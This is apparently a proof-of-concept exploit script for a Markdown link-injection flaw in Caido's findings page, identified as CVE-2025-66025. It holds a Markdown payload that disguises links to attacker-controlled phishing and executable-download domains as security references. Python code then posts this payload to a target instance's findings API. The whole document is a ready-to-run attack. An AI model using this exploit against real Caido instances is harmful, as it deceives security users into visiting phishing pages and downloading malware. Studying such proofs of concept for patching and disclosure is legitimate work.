# CVE-2025-66025 PoC - Caido Markdown Link Injection # This PoC demonstrates how an attacker can inject malicious links into Caido findings # Malicious Markdown payload for Caido findings page malicious_markdown = ''' ## Security Finding Please review the following vulnerability details: - **Vulnerability**: SQL Injection in login form - **Severity**: High - **Reference**: [View Detailed Report](https://attacker-controlled-site.com/phishing) - **Additional Info**: [Download Patch](https://malicious-download.com/payload.exe) For more information, visit our [security advisory](https://fake-caido-security.com). ''' # When rendered in Caido's Findings page, these links appear as legitimate # security references but actually redirect to attacker-controlled domains # Example exploitation via plugin API: import requests target = "http://target-caido-instance:8080" api_endpoint = f"{target}/api/v1/findings" payload = { "title": "Vulnerability Detected", "description": malicious_markdown, "severity": "high" } # Attack: Inject malicious links through plugin interface response = requests.post(api_endpoint, json=payload) print(f"Injected malicious finding: {response.status_code}") # User viewing this finding will see legitimate-looking links # but clicking them redirects to attacker-controlled domains
